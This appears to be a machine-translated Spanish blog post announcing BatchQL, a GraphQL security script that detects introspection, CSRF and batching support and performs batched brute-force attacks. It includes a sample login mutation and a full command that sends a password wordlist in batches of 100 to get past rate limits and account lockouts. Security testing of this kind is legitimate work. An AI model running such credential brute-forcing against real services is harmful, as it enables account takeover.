Script de monitoreo de seguridad GraphQL con un enfoque en la ejecución de consultas y mutaciones GraphQL por lotes

inHacker

byHelen Lafayetteseptiembre 18, 2021, 8:30 pm

BatchQL es un script de monitoreo de seguridad GraphQL que se enfoca en ejecutar consultas y mutaciones de Batch GraphQL. Este script no es complejo y agradecemos las mejoras.

Mientras investigábamos el área problemática de los ataques de procesamiento por lotes GraphQL, descubrimos que había algunas publicaciones de blog en Internet, pero ninguna herramienta para realizar ataques de procesamiento por lotes GraphQL.

Los ataques por lotes de GraphQL pueden ser bastante graves según las funcionalidades implementadas. Por ejemplo, imagine una función de restablecimiento de contraseña que espera que se envíe un PIN de 4 dígitos a su correo electrónico. Esta herramienta le permite probar todos los intentos de 10k pines en una sola consulta GraphQL. Esto puede eludir cualquier límite de tasa o bloqueo de cuenta dependiendo de los detalles de implementación del proceso de restablecimiento de contraseña.

Detecciones

Esta herramienta puede detectar:

  • Soporte de consultas de introspección
  • Reconocimiento de propuestas de esquemas
  • Detección potencial de CSRF
  • Procesamiento por lotes basado en nombres de consultas
  • Consultar el procesamiento por lotes basado en listas JSON

ataques

Actualmente, esta herramienta solo admite el envío de consultas basadas en listas JSON para ataques por lotes. Admite escenarios en los que las variables están incrustadas en la consulta o se proporcionan en la entrada JSON.

propósito de uso

contar

❯ python batch.py -e http://re.local:5000/graphiql -p localhost:8080Schema suggestions enabled. Use Clairvoyance to recover schema: https://github.com/nikitastupin/clairvoyanceCSRF GET based successful. Please confirm that this is a valid issue.CSRF POST based successful. Please confirm that this is a valid issue.Query name based batching: GraphQL batching is possible... preflight request was successful.Query JSON list based batching: GraphQL batching is possible... preflight request was successful.Most provide query, wordlist, and size to perform batching attack.

Ataques por lotes

  1. Guarde un archivo que contenga su consulta GraphQL, p. Ej. acc-login.txt:
mutation emailLoginRemembered($loginInput: InputRememberedEmailLogin!) {emailLoginRemembered(loginInput: $loginInput) {authToken {accessToken__typename}userSessionResponse {userTokenuserIdentity {userIdidentityTypeverifiedonboardingStatusregistrationReferralCodeuserReferralInfo {referralCode {codevalid__typename}__typename}__typename}__typename}__typename}}
  1. Ejecute el siguiente comando para realizar un ataque por lotes GraphQL:
❯ python batch.py --query acc-login.txt --wordlist passwords.txt -v '{"loginInput":{"email":"[email protected]","password":"#VARIABLE#","rememberMe":false}}' --size 100 -e http://re.local:5000/graphiql -p localhost:8080

El comando anterior hace lo siguiente:

  • Especifica una consulta de un archivo local –query acc-login.txt.
  • Especifica una lista de palabras –wordlist passwords.txt
  • Especifica la entrada variable con el identificador de reemplazo -v {«loginInput»:{«email»:»[email protected]»,»password»:»#VARIABLE#»,»rememberMe»:false}}
  • Especifica el tamaño del lote –size 100
  • Especifica el punto final -e http://re.local:5000/graphiql
  • Especifica un proxy -p localhost:8080

Referencias

conconsultasejecuciónenfoqueGraphQLlotesmonitoreomutacionesporScriptseguridad

Índice de contenido

Newsletter

What do you think?

0 Points Upvote Downvote

You May Also Like

  • byHelen Lafayetteoctubre 26, 2021, 8:30 pm
  • byHelen Lafayetteoctubre 26, 2021, 2:17 pm
  • byHelen Lafayetteoctubre 26, 2021, 1:41 pm
  • Trending byHelen Lafayetteoctubre 26, 2021, 2:10 am
  • byHelen Lafayetteoctubre 25, 2021, 2:50 pm
  • byHelen Lafayetteoctubre 25, 2021, 11:30 am

Reply with GIF

GIPHY App Key not set. Please check settings

    Don’t Miss

    • Hot Popular byHelen Lafayetteoctubre 8, 2021, 1:41 pm
    • Hot Popular byHelen Lafayetteoctubre 13, 2021, 1:06 pm
    • Hot Popular byAlan Kimoctubre 15, 2021, 10:26 pm
    • Hot Popular byAlan Kimoctubre 6, 2021, 1:13 pm
    • Hot Popular byHelen Lafayetteoctubre 10, 2021, 11:30 am
    • Hot Popular byHelen Lafayetteoctubre 13, 2021, 12:53 pm

    Windows 11 ya no es compatible con las VM de Oracle VirtualBox

    El nuevo fraude publicitario criptográfico «Elon Musk Club» se promueve por correo electrónico